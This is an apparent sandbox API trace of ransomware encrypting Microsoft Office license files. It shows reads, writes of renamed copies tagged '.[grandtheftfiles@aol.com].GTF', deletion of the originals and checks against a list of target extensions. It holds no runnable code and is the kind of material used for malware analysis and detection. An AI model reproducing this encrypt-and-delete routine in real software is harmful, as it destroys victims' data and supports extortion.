	[0179.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0179.167] GetLastError () returned 0x0
	[0179.167] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2d83, lpOverlapped=0x0) returned 1
	[0179.193] WriteFile (in: hFile=0x428, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0179.194] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.194] WriteFile (in: hFile=0x428, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x126, lpOverlapped=0x0) returned 1
	[0179.194] SetEndOfFile (hFile=0x428) returned 1
	[0179.194] CloseHandle (hObject=0x428) returned 1
	[0179.194] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.194] SetEndOfFile (hFile=0x530) returned 1
	[0179.197] CloseHandle (hObject=0x530) returned 1
	[0179.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.197] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms")) returned 1
	[0179.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0179.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0179.198] lstrlenW (lpString=".doc") returned 4
	[0179.198] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.198] lstrlenW (lpString=".docx") returned 5
	[0179.198] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.198] lstrlenW (lpString=".pdf") returned 4
	[0179.198] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.198] lstrlenW (lpString=".xls") returned 4
	[0179.198] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.198] lstrlenW (lpString=".xlsx") returned 5
	[0179.198] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.198] lstrlenW (lpString=".ppt") returned 4
	[0179.198] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0179.198] lstrlenW (lpString=".zip") returned 4
	[0179.198] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.198] lstrlenW (lpString=".rar") returned 4
	[0179.198] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.198] lstrlenW (lpString=".bz2") returned 4
	[0179.198] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.198] lstrlenW (lpString=".7z") returned 3
	[0179.198] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0179.198] lstrlenW (lpString=".dbf") returned 4
	[0179.198] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0179.198] lstrlenW (lpString=".1cd") returned 4
	[0179.198] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0179.198] lstrlenW (lpString=".jpg") returned 4
	[0179.199] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0179.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0179.199] lstrlenW (lpString=".doc") returned 4
	[0179.199] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.199] lstrlenW (lpString=".docx") returned 5
	[0179.199] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.199] lstrlenW (lpString=".pdf") returned 4
	[0179.199] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.199] lstrlenW (lpString=".xls") returned 4
	[0179.199] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.199] lstrlenW (lpString=".xlsx") returned 5
	[0179.199] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.199] lstrlenW (lpString=".ppt") returned 4
	[0179.199] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0179.199] lstrlenW (lpString=".zip") returned 4
	[0179.199] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.199] lstrlenW (lpString=".rar") returned 4
	[0179.199] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.199] lstrlenW (lpString=".bz2") returned 4
	[0179.199] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.199] lstrlenW (lpString=".7z") returned 3
	[0179.199] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0179.199] lstrlenW (lpString=".dbf") returned 4
	[0179.199] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0179.199] lstrlenW (lpString=".1cd") returned 4
	[0179.199] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0179.199] lstrlenW (lpString=".jpg") returned 4
	[0179.199] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.200] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.200] lstrlenW (lpString="O365HomePremR_Subscription3-pl.xrm-ms") returned 37
	[0179.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0179.200] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11199) returned 1
	[0179.200] CloseHandle (hObject=0x530) returned 1
	[0179.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms")) returned 0x220
	[0179.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0179.201] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.201] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0179.202] GetLastError () returned 0x0
	[0179.202] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0179.274] WriteFile (in: hFile=0x428, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0179.275] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.275] WriteFile (in: hFile=0x428, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0179.275] SetEndOfFile (hFile=0x428) returned 1
	[0179.278] CloseHandle (hObject=0x428) returned 1
	[0179.278] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.278] SetEndOfFile (hFile=0x530) returned 1
	[0179.281] CloseHandle (hObject=0x530) returned 1
	[0179.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms")) returned 1
	[0179.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0179.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0179.282] lstrlenW (lpString=".doc") returned 4
	[0179.282] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.282] lstrlenW (lpString=".docx") returned 5
	[0179.282] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.282] lstrlenW (lpString=".pdf") returned 4
	[0179.282] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.282] lstrlenW (lpString=".xls") returned 4
	[0179.282] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.282] lstrlenW (lpString=".xlsx") returned 5
	[0179.282] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.282] lstrlenW (lpString=".ppt") returned 4
	[0179.282] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0179.282] lstrlenW (lpString=".zip") returned 4
	[0179.282] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.282] lstrlenW (lpString=".rar") returned 4
	[0179.282] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.282] lstrlenW (lpString=".bz2") returned 4
	[0179.282] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.282] lstrlenW (lpString=".7z") returned 3
	[0179.282] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0179.282] lstrlenW (lpString=".dbf") returned 4
	[0179.282] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0179.282] lstrlenW (lpString=".1cd") returned 4
	[0179.282] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0179.282] lstrlenW (lpString=".jpg") returned 4
	[0179.282] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0179.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0179.283] lstrlenW (lpString=".doc") returned 4
	[0179.283] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.283] lstrlenW (lpString=".docx") returned 5
	[0179.283] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.283] lstrlenW (lpString=".pdf") returned 4
	[0179.283] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.283] lstrlenW (lpString=".xls") returned 4
	[0179.283] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.283] lstrlenW (lpString=".xlsx") returned 5
	[0179.283] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.283] lstrlenW (lpString=".ppt") returned 4
	[0179.283] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0179.283] lstrlenW (lpString=".zip") returned 4
	[0179.283] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.283] lstrlenW (lpString=".rar") returned 4
	[0179.283] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.283] lstrlenW (lpString=".bz2") returned 4
	[0179.283] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.283] lstrlenW (lpString=".7z") returned 3
	[0179.283] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0179.283] lstrlenW (lpString=".dbf") returned 4
	[0179.283] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0179.283] lstrlenW (lpString=".1cd") returned 4
	[0179.283] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0179.284] lstrlenW (lpString=".jpg") returned 4
	[0179.284] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.284] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.284] lstrlenW (lpString="O365HomePremR_Subscription5-pl.xrm-ms") returned 37
	[0179.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0179.284] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11199) returned 1
	[0179.284] CloseHandle (hObject=0x530) returned 1
	[0179.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms")) returned 0x220
	[0179.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0179.285] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.285] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0179.286] GetLastError () returned 0x0
	[0179.286] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0179.297] WriteFile (in: hFile=0x428, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0179.298] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.298] WriteFile (in: hFile=0x428, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0179.299] SetEndOfFile (hFile=0x428) returned 1
	[0179.325] CloseHandle (hObject=0x428) returned 1
	[0179.338] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.338] SetEndOfFile (hFile=0x530) returned 1
	[0179.379] CloseHandle (hObject=0x530) returned 1
	[0179.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.379] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms")) returned 1
	[0179.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0179.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0179.380] lstrlenW (lpString=".doc") returned 4
	[0179.380] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.380] lstrlenW (lpString=".docx") returned 5
	[0179.380] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.380] lstrlenW (lpString=".pdf") returned 4
	[0179.380] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.380] lstrlenW (lpString=".xls") returned 4
	[0179.380] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.380] lstrlenW (lpString=".xlsx") returned 5
	[0179.380] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.380] lstrlenW (lpString=".ppt") returned 4
	[0179.380] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0179.380] lstrlenW (lpString=".zip") returned 4
	[0179.380] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.381] lstrlenW (lpString=".rar") returned 4
	[0179.381] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.381] lstrlenW (lpString=".bz2") returned 4
	[0179.381] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.381] lstrlenW (lpString=".7z") returned 3
	[0179.381] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0179.381] lstrlenW (lpString=".dbf") returned 4
	[0179.381] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0179.381] lstrlenW (lpString=".1cd") returned 4
	[0179.381] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0179.381] lstrlenW (lpString=".jpg") returned 4
	[0179.381] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0179.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0179.381] lstrlenW (lpString=".doc") returned 4
	[0179.381] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.381] lstrlenW (lpString=".docx") returned 5
	[0179.381] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.381] lstrlenW (lpString=".pdf") returned 4
	[0179.381] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.381] lstrlenW (lpString=".xls") returned 4
	[0179.381] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.381] lstrlenW (lpString=".xlsx") returned 5
	[0179.381] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.381] lstrlenW (lpString=".ppt") returned 4
	[0179.381] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0179.381] lstrlenW (lpString=".zip") returned 4
	[0179.381] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.381] lstrlenW (lpString=".rar") returned 4
	[0179.381] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.381] lstrlenW (lpString=".bz2") returned 4
	[0179.381] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.382] lstrlenW (lpString=".7z") returned 3
	[0179.382] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0179.382] lstrlenW (lpString=".dbf") returned 4
	[0179.382] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0179.382] lstrlenW (lpString=".1cd") returned 4
	[0179.382] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0179.382] lstrlenW (lpString=".jpg") returned 4
	[0179.382] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.382] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.382] lstrlenW (lpString="O365HomePremR_SubTest1-pl.xrm-ms") returned 32
	[0179.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0179.383] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11179) returned 1
	[0179.383] CloseHandle (hObject=0x530) returned 1
